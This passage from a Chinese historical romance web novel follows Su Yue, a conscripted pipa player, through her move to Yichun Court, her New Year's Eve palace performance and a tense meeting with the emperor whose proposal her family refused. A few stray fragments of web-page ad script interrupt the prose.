然而局势一直在变化,她想家,也患得患失,不敢确定家里人是否真的能把她接出去。如果不能,她要不要为自己挣一挣?她是不服输的脾气,既然走到了这一步,就试试往上攀登吧。前头人能见到搊弹家见不到的人,有了人脉,机会便也相应增多了。 所以还是得感谢这位少卿,无事献殷勤要提防,口头上的客套话也不能少。 苏月道:“我出身微寒,家里人请乐师教授声乐,不过是为去一去身上的庸常罢了。宜春院里都是技艺高超的乐官,凭我的本事,不知能不能立足。万一令少卿失望,那我怕是要羞愧欲死了,实在对不起少卿的栽培。” 白溪石倒是一副笃定的样子,“我这双眼睛,看人从不会出错。只要小娘子尽力而为,必定能在前头人中脱颖而出,前途不可限量。” 苏月抿唇笑了笑,“多谢少卿,卑下一定不负少卿期望。” 白溪石露出一点满意的神情,那双眼睛也如流水一样,流淌过她的面庞。眼梢瞥见见院内的掌乐来接人了,回身吩咐:“替女郎找个清静的住处。院内吵嚷,恐怕静不下心来,除夕大筵就在眼前,别耽误了登台的安排。” 掌乐是何等善于察言观色的人,太常寺少卿是梨园使的顶头上司,这么大的官职压下来,岂能含糊对待。 “少卿放心,卑职省得。”掌乐朝苏月比手,“辜娘子,请随我来吧。” 苏月复向白溪石行了礼,这才跟着掌乐进了宜春院。 梨园里等级划分严明,住处自然也要与身份相匹配。早前一直听说宜春院,她以为同在西隔城里,应当和银台院差不多,但当进了院内,才知道两者有天壤之别。 宜春院的房舍,大概是最趋近于宫内殿阁的建筑,廊庑上有墁砖铺地,檐下横梁密密匝匝布满金绿彩绘。偶尔有前头人经过,一身锦衣,回眸缱绻,原来宜春院和银台院是两个世界,难怪内敬坊的乐工们,把成为前头人当成了一辈子奋斗的目标。 掌乐在前引路,回头看了她一眼,“辜娘子和白少卿,以前就认得?” 苏月摇了摇头,“我刚来上都,只在入园的那天见过少卿。” 掌乐“哦”了声,“少卿特意关照,我还以为你们是故交。”说着含糊一笑,绕过太乐碑亭,往前面的小院子指了指,“那里清静些,直房比别处少。每间三个人,住的大多是宜春院里拔尖的乐官。对了,你们姑苏刚入选的那位女郎,也在这个院里。同乡离得近了,也好互相照顾,辜娘子看这里好不好?” 苏月仰头看了看院门上的小匾,上头写着“枕上溪”三个字。有个地方容身就不错了,难道还能挑拣吗,便朝掌乐伏了伏身,“很好,多谢掌乐。” 掌乐这才悠着步子领她进月洞门,“你那同乡,屋里正好有空位。”说罢喊起来,“春潮!春潮!出来接人!” 不一会儿门打开了,一个松着半边鬓发的人探出脑袋,连面孔也看不清,只管朝苏月招手,“来,进来。” 苏月向掌乐道了谢,跟着迈进屋子,进门就看见那位同乡提着吊子,站在铜盆边上。 苏月隐约记得她的名字,叫朱颜在,个头不高,长得白净温柔。她一见到苏月就满脸欣喜,“你也来了?这下好了,更热闹了。” 那个叫春潮的,这才拂开遮挡住脸颊的头发,露出一张明艳的脸,笑着说:“失礼得很,我正要洗头,掌乐就把你送来了。” 苏月说不碍的,“我也是临时接了调令,冒冒失失闯进园子。” 颜在让她坐,自己提着铜茶吊给春潮浇头发。春潮的头发厚实,洗起来费工夫,苏月刚要铺排自己的床榻,就听见她招呼,“快、快,把皂角膏递给我。” 苏月只好把桌上的竹盒递过去,春潮抓了把膏子,搓出薄薄的一层沫子,边搓边道:“这阵子忙得摸不着耳朵,连洗头都得挑夜里……小娘子怎么称呼?和颜在是同乡?” 苏月说是,“我也是姑苏人,姓辜,阿姐就叫我苏月吧。” 她在回答春潮的时候,看见颜在努力举着铜茶吊,举得两手直哆嗦。 颜在是细胳膊细腿,典型江南美人的长相,凌空悬着的时候久了,有些坚持不住。 她见状,把边上的小杌子搬过来,示意颜在站上去。原本想接手的,但又怕莽撞了,反倒惹人不高兴。新人刚来,总得想办法笼络老人儿。人家正在讨巧,你中途截了胡,反倒落人埋怨。 颜在感激地朝她望了眼,说实话春潮不好伺候,自己被她呼来喝去使唤,只好吃哑巴亏。当初一同来上都的人里,只有自己一个进了宜春院,其中孤单可想而知。现在终于来了个同乡,也算是有了伴,因此颜在很欢喜,连自己的妆匣都要和苏月的放在一起,且热络地招呼她,有什么要用的,尽管自取。 苏月含笑应了,但绝不当真去碰人家的东西。第二天收拾停当进大乐堂,太乐丞照着上面的吩咐,从前头人中挑选出五个,另辟出乐室让她们排演《白纻曲》。受命前来引导她们的,也是擅长江南曲调的乐师。 苏月和颜在是新来的,略费些工夫,但也只消大半日,就已经掌握要领了。 师父领进门,修行靠个人,后来乐师盯得不紧了,常是练半日歇半日,捧着热茶感慨:“教习诸位小娘子,才算是真正省心。不像头几日在银台院,显些要了我的命,怎么教都教不会。看看,我鬓边新长了几根白发,都是被她们给气的。” 这些来自江南的女郎,全是平和温婉的脾性,自矜自重,不愿意给人添麻烦。乐师这么说,她们也只是笑笑,“谁都有刚入门的时候,等日子长了,自然就好了。” 预备登台前虽然需要苦练,但比起在银台院的时候,已经轻松得多了,不必从早到晚抱着乐器不放手。五个人得了闲,就在廊子上坐着攀谈。前朝就入宜春院的那几位,说起家乡总有前世今生之感。一位最年长的,名叫梅引的乐官唏嘘:“我离家整整五年,连做梦,都梦不见家乡的样子了。” 大家都有些惆怅,再过几年,新人也会变成她们今天的模样。 苏月和颜在还能向她们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 描绘江南的变化,其实战乱过后,到处一片狼藉。若说好,只有远山远水还在记忆里,却也因近处的残垣断壁,显得有些破败和凄凉了。 说话间,不防门外忽然进来一位女郎,一双飞扬的丹凤眼,看人的时候眼波袅袅,很有亦嗔亦怨的风味。 进门便问苏月,“你就是新来的姑苏乐工?” 苏月站起身说是,“不知娘子有何指教。” 那位女郎浮起笑,笑意里带着几分傲慢,随口问她:“你与白少卿相熟吗?听说你是他从银台院抽调出来的,昨晚他还亲自在院门上等候你,有这回事吗?” 这么一来,大家都看向苏月,让她有些无所适从。她辩解道:“我和白少卿并不相熟,也是入了宜春院,才得知是受了少卿提携。” 那位女郎一哂,“既然以前不相熟,那往后也不必太相熟,免得过于亲近,引出不必要的误会。” 人家发完话,不等她应承就转身出去了,同坐的云罗告诉苏月:“她叫刘善质,是宜春院最红的前头人,技艺实在是高超,对白少卿也实在是一往情深。但凡有人和白少卿走得近,她就不高兴,上赶着来兴师问罪。” 苏月了然了,“那往后要提防些,别惹她恼火。” “倒也不是怕惹她恼火,”一旁的楚容压声说,“不过离白少卿远些是对的。他年轻,长得又俊,常在梨园内走动,和宜春院好几个前头人都有纠葛。只是后来不知怎么,渐渐没人说起了,近来又同刘善质打得火热。好些人劝善质,让她不要受人蒙骗,她却总觉得自己和以前那些乐工不一样,白少卿是真心喜欢她的。” 自视甚高的人一头扎进感情里,总是莫名自信,自以为独一无二。苦口婆心规劝没有用,总要经历一些事,才能看清人的本性。 苏月没有把这件事放在心上,只觉日子过得飞快,眼看就要除夕了,心也高高悬起来。 以前在家取乐,就算曲调谬之千里也没人计较,如今要去受那些权贵的检阅,只怕错了一个音,也会吃不了兜着走。 所以那几天,她的琵琶几乎没离身,只差睡觉也抱在怀里,连做梦都在拨弦。到了腊月二十九,内造局送乐工当日要穿的礼衣进来,都是细作的浮光锦,上面覆着洁白的玉纱,举手投足光彩动摇,水波粼粼。 衣裳很珍贵,穿上也很美,但十二月的气候,贴身简直凉彻肌骨。 大家上身试了试,忍不住倒吸凉气。登台的乐人都要穿得轻薄,穿出春夏的轻快韵致,总不能一抬胳膊鼓鼓囊囊,这样显得笨重不好看。 “大殿里有温炉,进去就暖和了。”太乐丞努力打消大家的顾虑,“今年上头还拨了炭下来,候场的帐子里也有火盆,保管冻不着你们。” 可是从圆璧城到前面的乾阳殿,有很长一段路,好在大家都备有斗篷,尚可以御寒。 于是年三十一早,就集结起来准备出发了。今天天气阴沉,厚重的云层像个晦暗的锅盔,严实地扣在穹顶上。乐工们列着队伍走在夹城里,冷风从脖颈处往里灌,怀里抱着的乐器,也变成了冷硬的大冰锥。 咬着牙,裙裾翩翩,脚踝像被刀割一样。初入禁廷的好奇,已经被无处不在的寒冷涤荡得所剩无几了。 苏月觉得自己的眼皮都被冻僵了,麻木得几乎抬不起来。等入了重润门,听见一个似曾相识的嗓音想起,才艰难地抬了抬头。 内侍省侍监还是一副笑容可掬的样子,向内比手,“帐幄设在文成殿后,时辰还没到,先进去候着吧。”正巧看见了苏月,便来同她打招呼,“辜娘子,我记得你。头一回亮相,拿出看家的本事来,是明月还是铜镜,就看今朝了。” 7.第 7 章 几乎所有人眼中的出头之日,就是在大宴上被达官显贵看上,然后收作侍妾,运气好一点的做续弦夫人。 这种现状对苏月来说,其实有些无奈,要是仔细回头想想,这世界怎么不是个充满了调侃意味的寓言故事呢。权家大郎还是个微末的副将时,她们家婉拒了人家的求婚,如今人家当上皇帝了,她却被迫成为他的乐工,整日被人催促着,一定要抓住机会,让他手下的官员相中,去做个仰人鼻息的玩物。 其实她只想回家罢了,爹娘打算为她说合一位品行高洁的读书人,她觉得挺好的,这样的郎子才适合她。可惜现在连这个愿望都不能达成了,进了内敬坊,她的命运好像也已经注定了。 侍监这么说,她唯有俯身应承,“只求不出错,不辜负侍监的重望。” 侍监语气温和,含笑道:“外头冷,女郎快跟他们进帐幄吧。” 苏月行过礼,随梨园使入了文成门。 放眼看,这里虽是乾阳殿的副殿,但殿宇高大,人站在底下,渺小如蝼蚁一般。前朝的时候,宫城就以雄伟闻名于世,听说每个主要的宫室,都对应了天上紫微垣的方位,所以这座皇宫又叫紫微宫,其煌赫的程度,很对得起这个名字。 一阵寒风吹来,欣赏宫殿的兴致完全被浇灭了,她还是更在乎搭建在广场上的帐幄。 赶紧钻进去,地方挺大,能容纳好几十人。四角又燃烧着火盆,大家紧挨着坐下,确实比外面暖和多了。 只是手脚依旧冰凉,一旁的颜在偏头问她:“冷么?” 苏月说好多了,“先前冻得我脸上没知觉了。” 不远处的炉子上放着铜茶吊,正咕咚咕咚煮着热茶,可谁也不敢上前倒一杯,害怕回头上场不便,惹出大祸。 大家搓搓手,又跺跺脚,台上有多得体,台下就有多窘迫。 猛听见西边传来低沉的鼓声,众人都为之一振,应当是新帝临朝,百官恭迎了。 辞岁有一套繁复的流程,譬如敬神、赏对联、封笔等。待逐样都完成了,才到皇帝宴请王公大臣的环节。 美酒佳肴自然要佐以歌舞,梨园子弟这时候就粉墨登场了,先是一场气势磅礴的法曲《望瀛》,然后是歌舞大曲《秦王破阵乐》。 苏月在大乐堂里排演时,听太乐署的乐工演奏,并不觉得这些曲目有多庄严,毕竟嬉笑打闹也是常事。然而一旦正经登场,那就是另一种截然不同的气象,宏大、神圣、凛然。还有云韶寺的宫人们,云髻花垂,玉步徐移,舞动起来极有风骨,不卑不亢。原来不管多低微的人,身上都有闪亮不容忽视的力量,也让苏月重新振作起来,自己整日与琵琶为伍,其实也不是那么不堪。 仔细听着动静,前面的曲目将近尾声时,太乐丞从门上进来,招呼下两首曲目的乐工预备登场。 “《庆善乐》压轴,《白纻曲》压场。”太乐丞拽过梅引问,“都预备好了吗?舞者呢?” 梅引说预备好了,把人都集结起来。 白纻舞是独舞,用的自然是最拔尖的舞者,其轻盈柔美,真是非笔墨能形容的。因此这首曲子一起,所有人的目光都会被舞者吸引,苏月自觉出现在新帝面前的尴尬也可以得到缓解,只要老老实实低着头,就可以苟且偷安。 “走走走……”太乐丞急急忙忙驱赶她们,把她们领进乾阳殿后候演的帐幄里。 这地方就不如文成殿那里暖和了,据说凉些能保证清醒,免得上场后头昏脑胀。 也许是因为紧张吧,果然也感觉不到冷,心头攒着一团火,忙于调弦,等着梨园使的召唤。 《庆善乐》奏到半程时,苏月她们就跟随梨园使,入了乾阳殿后殿。隔着一道厚重的帘幔,能听见外面觥筹交错的声响。 跟随新帝出生入死的武将们,早已经封侯拜相了,然而长年的军旅生涯,养成了他们粗豪爽朗的性格。他们对雅乐并不了解,也没打算追捧,最大的兴趣就是看乐工和舞者姿色如何。 太乐署的乐工都是男人,压根没什么好看的,勉强守了半天规矩的武将们开始推杯换盏,粗大的嗓门可以穿破乐阵,大喇喇地说:“敬陛下,愿陛下江山永固,万年吉昌。” 皇帝不能像他们一样,乐声掩盖住了他的嗓音。 大乐在武将们的吹嘘和感慨里奏完了,太岳署的乐工退出来,就轮到她们上场了。梅引打头,余下的人尾随,进入大殿之前还有些胆怯,却在走出那道帷幕后,心里奇异地平静了下来。 既来之则安之,临阵脱逃是不能够的,那就不要辜负这段时间的辛苦,把这个差事好好办成吧。 五个人从容入座,年轻女郎手执乐器的模样优雅曼妙。她们从江南来,朝堂上的臣僚们也都知道新帝是姑苏人,乐工要演奏吴越曲目,再吵嚷就不合时宜了,因此不同于前,大殿上彻底安静了下来。 曲调起,先由梅引的尺八独奏,徐徐揭开了江南的水墨画卷,然后琵琶五弦加入,水乡的迤逦,便绘声绘色呈现在了所有人眼前。 舞者水袖飞扬,歌声在乐声中穿行,“阖庐宫中夜挝鼓,宫树乌啼月未午。玉缸提来酒如乳,白衣成向君前舞……” 懂得音律的人一旦沉浸其中,外界的纷扰就无法影响你了。苏月垂着眼,专心弹奏她的琵琶,玉指勾抹间,短暂忘记了身在何处。 这《白纻曲》,她小时候奏过,吴越之地的名曲,可以抚慰思乡情切的旅人。曲调婉转,让她想起战火连天的春日,关起门来在院子里晒书的父母,也能想起月色无垠下,穿破积雪顽强挺身的麦苗。 江南小曲相较那些大型的燕乐,实在不算长,但全情投入后,人曲几乎要合一。不得不说,这次是最能静下心来演奏的一次,起码练曲的时候,没有其他曲目的干扰。 想来她们的弹奏很合新帝的脾胃吧,一曲奏罢,殿上鸦雀无声。后来听见有人慢慢鼓起掌来,仿佛石子投进池塘,激发出一串涟漪,不管是真情还是假意,大殿上很快回荡起了隆隆的掌声。 侍监盛望带着愉悦的口吻传话:“陛下有令,凡今日登台的乐工,人人有赏。尤其这《白纻曲》深得圣心,看得出乐工与舞者技艺精湛,非同凡响。着令梨园,节后的大宴上,吴越曲目不可少,陛下愿与众臣工共赏,还望不要辜负了陛下的期望。” 乐工们演出的时候,太常寺卿和梨园使都在一旁候着。到底排演的时间太短,掌事的官员们都捏着一颗心,等到曲目全部演奏完,那颗心才堪堪落回肚子里。 圣上发了话,梨园使忙高高揖起手,长长拜伏下去,一声“臣领命”,应得铿锵有力。 总之是皆大欢喜,无端被充入梨园的不平,在头一次演出获得成功后,好像也平复了不少。 大殿上的乐工福身行过礼,却行退回候演的帐幄里,苏月终于长出了一口气,解下缠绕在手腕上的缚带,冲着望过来的颜在笑了笑。 “听说龙光门外有条巷子,里头一家连着一家,全是做小食的商铺。咱们这回办妥了差事,太乐令应当会准许我们出宫门了吧?”颜在满怀憧憬地说,“明天是正旦,宫里反倒不设宴,说是要让臣僚和家人们团聚过节。咱们得闲,出去吃点好吃的吧!” 苏月说好,“回头问过掌乐,要是应准了,我请你吃烤胡饼。” 两下里很高兴,抱起乐器正要退回文成殿,太乐令却出声叫住了苏月,“辜娘子,你且留步。” 颜在纳罕地望向苏月,可惜自己没办法留下陪她,只好一步三回头地随众人走了。 苏月茫然站在那里,迟疑问:“佟令,可有什么吩咐吗?” 太乐令摇了摇头,“不知道,顾使让我传话,你照做就是了。” 苏月没辙,既然走不了,只得在这帐幄里枯等。 梨园的乐工们,眼下都退回圆璧城了,这候演的帐子也就没人再来了。她抱着琵琶,站在空空的帐中,听不见外面有人声,仿佛自己被遗弃在了异世里,四周围静得可怕。 回身看,炉子里的炭火燃烧了很久,表面攒了一层炭灰,只有些微的红光透出来,在盆中乍明乍灭。 帐子很大,没了人气之后感觉更冷了。苏月凑到炭盆前,一手拿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 通条敲掉炭上的浮灰,热量好像升高了一些。可她心里依旧忐忑,不知道为什么单单留下她一个人,也不知道接下来会发生些什么。 好不容易听见有脚步声传来,在帐外又顿住了。隔了半晌,才见一只修长的手探进来,掀起了门上垂帘。 苏月望过去,这是个年纪约摸二十五六的男子,一身玄色的衣袍,身量很高大。但高大,并不显得憨笨,反倒身形匀称,体态潇洒。 再看那张面孔,鼻梁挺拔,眉骨清晰,分明是英朗的长相,眼睛却是水润的。望着你的时候,无遮无挡地透出直白,仿佛是旧相识,今天找来重逢了。 可是苏月搜肠刮肚,也想不起来曾在哪里见过他。这宫里皇亲国戚太多了,春潮曾说过,她们的第一次亮相尤为重要,能不能被人相中,立竿见影便会有说法。果然这说法来得很快,本以为最出风头的是舞者,没想到窝在后面的人,竟然也没能逃过这场筛选。 如今这局面,只有见机行事了。推测将要发生的事,提前在脑子里预演一遍,免得人家表明来意,自己不知道该如何应对。 不过这人看样子似乎并不着急,只是静静打量她,略顿了会儿才问:“辜娘子入上都快一个月了吧,对这里的一切,可还习惯吗?” 如果说不习惯,能不能放她回家?当然这些腹诽的话只能埋在肚子里,总不能犯孩子气,莽撞地试探陌生人的底线。 因此她谦卑地伏了伏身,“上都是繁华之地,天子脚下,起先虽有些难以适应,但日子一长,慢慢也就习惯了。” 她说得圆融,对方却不以为然,“姑苏是鱼米之乡,这些年虽有战乱,但相较其他州府,百姓已经算是安逸的了。据说贵府是姑苏城中的富户,每每城中大乱,家主都能设法保全全族,实在是不易啊。原本战后古城重建,日子渐渐也安稳了,结果这时朝中下令征调乐工,强行把你带到这上都来,小娘子心里应当很有怨言吧?” 苏月说不敢,“天下百姓都是大梁子民,卑下是女流之辈,不能兴国安邦,只好献艺,略为梨园尽些绵力。” 对方听她说完,显然不信这话出自她真心,“新帝贪图享乐才征调乐人,你难道从未这样想过?” 苏月心下惊讶,不由抬了抬眼,“贵人……何出此言啊?” 对方灼灼望着她问:“若非如此,小娘子先前怎么不去瞧瞧龙椅上的人长得什么模样?是不好奇,还是不想放在眼里?” 苏月心头直打鼓,看来他由头至尾都盯着自己啊。不把新帝放在眼里,可是一顶她承受不起的大帽子,忙说不敢,“乐工微贱,不敢随意窥探天颜。再者入紫微宫前,内宰就教过禁中的规矩,卑下一言一行都需谨慎,不敢惹下祸事,牵连梨园。” 对面的人微扬了扬长眉,倒没有继续为难,“娘子这番话无可指摘,可见贵府上教导得很好。辜翁是极谨慎的人,小娘子得了真传,果然青出于蓝。” 苏月听他提起父亲,心里忽然生出了妄念,试探着问:“贵人认得家父吗?贵人曾经去过姑苏?” 他心平气和地对插着袖子,心平气和地点了点头,“去过姑苏,对令尊的声望早有耳闻。”复又问她,“小娘子想家吗?我能为小娘子做些什么吗?” 苏月抱着琵琶,双眼晶亮。 虽然她知道,对一个素昧平生的人提出请求很无礼,但她实在不想错失回家的机会。犹豫再三还是忍不住问出口:“贵人能否助我出梨园,让我回姑苏去?” 这个问题,对方应当早有预料吧,既然肯给她机会,就说明至少还有几分希望。 结果她等来的答案,十分让她沮丧。 “不能。” 苏月无可奈何,不明白既然拒绝得如此干脆,又为什么主动提出要帮忙。 对方似乎很满意她这样的反应,慢条斯理道:“我今日,是特地来看看小娘子的,想印证一下,辜家女郎是否如家母说的一样好。”他仰起唇,冲她淡淡笑了笑,“还不曾向小娘子介绍我自己,我姓权,权珩。生于姑苏,现如今,是这大梁王朝的开国皇帝。” 8.第 8 章 这个自我介绍,真是妙得很,也惊悚得很啊。 苏月听见自己的心蹦得隆隆作响,要不是膝盖够硬,她简直要毫无尊严地跪下来了。 谁能想到,开国的皇帝会跑到候演的帐幄里来,就为了见一见那个曾经拒绝他的人。应当是男人的尊严使然吧,就算不做皇帝,也一定要亲眼过过目,究竟传说中的辜家女郎有多特别,才会让她父亲毫不犹豫拒绝这门婚事。 现在见到了,心结应当也解开了。一个成了皇帝,一个沦为乐工,高下立判,就大人不记小人过了吧! 苏月想起之前在家的时候,阿爹那份如坐针毡,全家跟着一起团团转。如今自己既然见着了正主,就不要辜负了好机会,尽量消除隔阂,大事化小吧。 于是放下琵琶,她十分诚恳且恭敬地向他行了个礼,“卑下辜苏月,拜见陛下。先前太乐丞命我在这里等候,并未告知陛下驾临,若有冒犯之处,还请陛下恕罪。陛下,关于那件事,请容卑下向您解释……” “哪件事?” 他不等她说完,中途截断了她的话,记仇的心简直昭然若揭,语气讥嘲,然后又作恍然大悟状,“哦,你说的,想必是贵府拒婚那件事吧!” 苏月咽了口唾沫,说正是,“其实男婚女嫁,本就是互相考量,不管是高高抬举还是遗憾错过,都是再寻常不过的。当年媒人登门,正是人人自危的时候,家父疼爱卑下,不愿意在那个年月嫁女,也是人之常情啊。” 皇帝细细忖度了她的话,倒也认同,“那时朕征战四方,稍有疏忽就性命不保,令尊不答应,朕也能够体谅。不过,贵府上有些做法,很令朕不解,这门亲事不成便罢了,令尊急急忙忙关了城里的质库,把钱财分给族人,又刻意宣扬家中没有余粮了,这是什么意思?难道误会权家登门提亲,是为了日后好打秋风吗?” 苏月不免讪讪,说起那件事,阿爹的做法确实欠妥,在权家看来,侮辱性不可谓不强。 但她还是要狡辩的,“陛下也说了,辜家是城中富户,树大招风。那时候豪强并起,陛下又在前方征战,姑苏城里涌入许多逃荒的灾民,家父施面施粥反遭人惦记,质库也被人破门洗劫了。所以家父惶恐,那种年月有钱不是好事,还是散尽钱财能够保平安……”说着忽然顿下来,迟疑道,“宣扬家中没有余粮,是借着质库被抢的名头,没有对外说把钱分给族人了呀,陛下是怎么知道的?” 皇帝别开了脸,拒绝回答。 其实还是因为太后对遭拒不满,暗中派人打探了内情。在太后看来自己最得意的儿子要迎娶辜家的女儿,辜家实在没有理由推诿,可谁知辜家那个家主一点情面也没留,只差把巴掌拍到权家脸上。太后觉得自己受了辱,加上不甘心,自然悄悄打听。她家散尽金银,缘由昭然若揭,好在三年没有把女儿嫁出去,太后的不满才稍稍平息。 反正从兴致勃勃打算提亲开始,太后就把一切写在了家书里。起先说辜家门第清白家教好,必定十拿九稳,任凭他怎么反对,太后自有她的道理,训导他立业成家两不误,才是大丈夫。他拗不过,只得任由太后操持,没想到时隔一个月,又收到太后家书,连篇累牍地讲述了热脸贴冷屁股的全部经过。最后痛心疾首质问,辜家说齐大非偶,到底这所谓的“齐”,是指权家还是辜家? 反正就是气不打一处来,过不去这个坎。他从起先的浑不在意,渐渐也受了太后影响,开始对这件事耿耿于怀。现在见到真人了,不知今时今日,他们是否会懊悔当初的决定? 本想暗示三十年河东三十年河西的,不曾想这位女郎先给自家找了台阶下。 “烽火连天,全家实在不忍心分离。当初太后为陛下提亲,应当不止卑下一家,东家不应西家应……” 她这是打算钻个法不责众的空子,暗示拒婚的不止辜家,否则他也不会至今未娶。 皇帝很遗憾地告知她:“这三年,太后只向贵府提过亲,无奈天不遂人愿,最终铩羽而归了。” 又是一个让人魂不附体的消息,苏月脑子里嗡嗡作响,震惊后质疑,质疑后结巴,“怎……怎会如此啊……” 皇帝哂笑了声,“太后说朕没有混出名堂,难免被人厌弃。还是等有了功名,登门求娶才有底气。” 结果这一混,当上了皇帝,对辜家而言实在是晴天霹雳。 更让苏月感到灰心的,是权家居然只向辜家提了亲。这就意味着只有辜家一家得罪了他们,这份独一无二的欺君罔上,让她终于开始理解阿爹,为什么愁得寝食难安了。 那么眼下他专程来见她,就是为了亲眼见证她的落魄,为了证明辜家没眼光吗? 苏月对这种所谓的荣辱,看得并不重,她善于自我安慰,想取笑就取笑吧,取笑完了,就可以让她回梨园了吧? “这是上天作弄,辜家这样的门庭,高攀不上陛下。”她诚挚地说,“如今两家更是云泥之别,卑下及家父深感羞愧,悔不当初。卑下如今能做的,就是日夜祈祷国运昌盛,陛下万寿无疆。日后的排演中必然尽心尽力,拿出全部技艺报效陛下。前尘往事不可追,陛下隆恩浩荡,就宽宥辜家一门的有眼无珠吧。” 如此放低了姿态,皇帝也有雅量,自然不会再和她斤斤计较。 “看来小娘子在梨园如鱼得水,打算用琴技赎罪。”他淡然望着她道,“你与朕也算同乡,可千万不要勉强,若有为难之处就说出来,朕不会袖手旁观的。” 苏月欠了欠身,“并没有为难之处,能为陛下献艺,是卑下的福气。” 嘴上这么说,心里却惨然,果真位高权重的人得罪不起,他们会说着冠冕堂皇的话,给你找最适合的小鞋穿。 先前不知道他的身份,她求他助她回姑苏,他不是断然拒绝了吗。现在又来老调重弹,她要是再上当,那就是自取其辱了。 她已经死心了,皇帝便安心了。不过看她脸色发青,想必她此刻冷得厉害吧。 偏头望了望火盆,盆里的炭火不知什么时候熄灭了,只剩浅白的灰烬。她身上披着一件猞猁狲的斗篷,底下是轻如云雾的礼衣。猞猁狲的皮毛在苏杭足够御寒,但在上都却差远了。 “把斗篷解了。”他忽然说,神情冷漠。 苏月纳罕地抬抬眼,以为自己听错了。 皇帝又重复了一句,“朕让你把斗篷解了。” 可是孤男寡女,解斗篷做什么? 一些不好的预感,从脑子里的每个边角涌了出来,虽说眼前这人已经贵为皇帝了,但他是行伍出身,这也是不争的事实。 苏月的长嫂是扬州人,她以前曾听阿嫂说过,前朝驻守扬州的军队军纪涣散。当兵的最爱逛青楼,过后又不肯付钱,因此在扬州人眼里,那些兵痞才是江南最大的祸患。 苏月捂住了领上的系带,“我虽沦为乐工,但我是好人家的姑娘……” 皇帝拧起了眉,“这和你是不是好人家的姑娘,有关系吗?” 苏月讶然,做了皇帝的人,眼界就是不一样,居然能说出没关系的话来,简直令人咋舌。 她迟迟没有反应,对方的耐心也快用光了,“朕实在想不明白,你们辜家人究竟有多自命不凡,才觉得世上的人都心怀不轨,时刻想打你们的主意?”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 苏月被他一番嘲讽,竟真有些自我怀疑了,难道是自己会错了意?但她想破脑袋也想不明白,有哪个好人会在光天化日之下,要求第一次见面的女郎解衣裳。 “卑下恕难从命。”她说。 可惜人家并未理会她的拒绝。 在皇帝看来,他还是白丁的时候遭到拒婚也就算了,如今当了皇帝,还有人对他说不,岂不是滑天下之大稽? 那只捂住领口的手,被他满脸鄙夷地拽了下来,只需轻轻一抽绳结,那件斗篷就落在地上了。然后抬手解下领上金扣,顺手把自己的斗篷扔给她,“上都不像姑苏,冬日里要冷得多。朕这件是新做的,今日头一回上身,你穿上这件,一路上就冻不死了。” 苏月托着这件厚厚的斗篷,茫然不知所措,“这……这……” “这什么?”皇帝道,“朕是一国之君,大人大量。想必你充入梨园的时候,辜翁已经作了最坏的打算。但朕偏要你活着,向你父亲证明,朕既然能统天御宇,就不会公报私仇,刻意刁难。” 这番见解,属实令苏月百思不得其解,难道不给她斗篷,就算公报私仇? 可她不敢问出口,自己刚才的反应已经十分小人之心了。她唯有深深向他拜服,“陛下爱民如子,这份气魄和胸襟,令卑下望尘莫及。卑下刚才又现眼了,请陛下将此事忘了,就当不曾发生过吧。” 皇帝凉笑,“朕与你们辜家人打交道,看来要学会不停遗忘才行了。”边说边抬了抬下颌,“穿上。” 苏月忙说是,扬手把斗篷披在自己身上。 皇帝身量高大,斗篷的下摆拖在地上足有一尺长,但他却刻意忽略了,睁着眼睛说瞎话,“正合适。”顿了顿复又问,“暖和吗?” 苏月已经不知道这合适二字究竟作何解了,也不想费心琢磨,只是老实地回答:“暖和。” 好在他总算决定高抬贵手了,“暖和就好。与小娘子共处良久,相谈甚欢,今日是除夕,梨园想必也设有晚宴,朕就不留你了,早些回去吧。” 苏月如蒙大赦,躬身道:“卑下预先恭贺陛下新禧,那卑下就先告退了。”说着提起斗篷,却行退出了帐幄。 帐中的皇帝扯了下唇角,原本以为太后有些夸大其词,不过一次失败的提亲而已,怎么令人三年不得释怀。但今天看来,确实事出有因,这位辜家女郎看似谦卑,骨子里却是有傲性的。 她看着你时,眼里的水色不是粼粼的波光,是拒人于千里之外的锋利剑芒,明明小小的女孩,竟也让人不敢侵犯。且她很漂亮,是万千出色的前头人中,一眼就能被发现的那种美。可见姑苏确实人杰地灵,能孕育出这样光芒万丈的女郎。 正畅想时,帐门忽然又被打了起来,还是她,尴尬地说:“东西落下了……” 皇帝往边上让了让,看她左手夹住猞猁狲斗篷,右手抱起琵琶,临走不忘再呵呵腰,往宫门上去了。 腾不出手来的苏月,到这时才明白人心险恶。御用的斗篷确实比自己带来的暖和,但没办法裹紧,冷风自然灌得更多。 一路往北走,抱着琵琶的手几乎冻得没了知觉,边走暗中边庆幸,还是阿爹有先见之明,拒了他家的婚。如今看来这人果真不怎么样,小人得志,借故明赏暗罚。 从少府内监夹道到陶光园长廊,足有三百多丈远,每一步都让她生无可恋。还好她机灵,干脆把猞猁狲斗篷系在身前,如此一来身子和手都挡住了,居然甚是温暖。 至于垂委在地的御赐之物,实在是顾不上了。她就这么毫无愧色地,在守门内侍惊讶的注视下,迈进了圆璧南门。 9.第 9 章 运气还不错,返回直房,房里空无一人,颜在和春潮都出去了,就没人会追问这件玄狐斗篷的来历了。 把琵琶放在架子上,才有余地脱下斗篷查验。还好,夹道每天有人清扫,除了沾上些灰,并没有损坏皮毛。 可是这烫手的山芋,实在让她感觉不好处置。先前皇帝把它扔过来,说了是借还是赏吗?不过转念想想,已经被她玷污了,应当不会再要回去了吧!这样的话,等得了空,把它改短一些,寒冬腊月里用来御寒正好。至于自己带出来那件,是阿娘平时舍不得穿的,好好保存着,万一再也回不去了,起码可以留个念想。 小心翼翼拍拂干净,把两件斗篷叠起来,心想着等天晴了,再捧出去清理晾晒。 这时听见门外传来傅姆的声音,吊着嗓子问:“辜娘子是不是回来了?” 苏月忙把斗篷收进柜子里,扬声应了个是,一面打开门道:“刚回来,正预备换衣裳呢。” 傅姆道:“小娘子快些,餐松饮涧那里设了庆功宴,眼看要开席了,只差小娘子一个。” 苏月道好,“姆姆先去,我收拾好了就过去。” 傅姆转身走了,苏月赶忙替换下身上的礼衣,摘了头上簪环,随意绾了个发髻,就赶往梨园设宴的大院了。 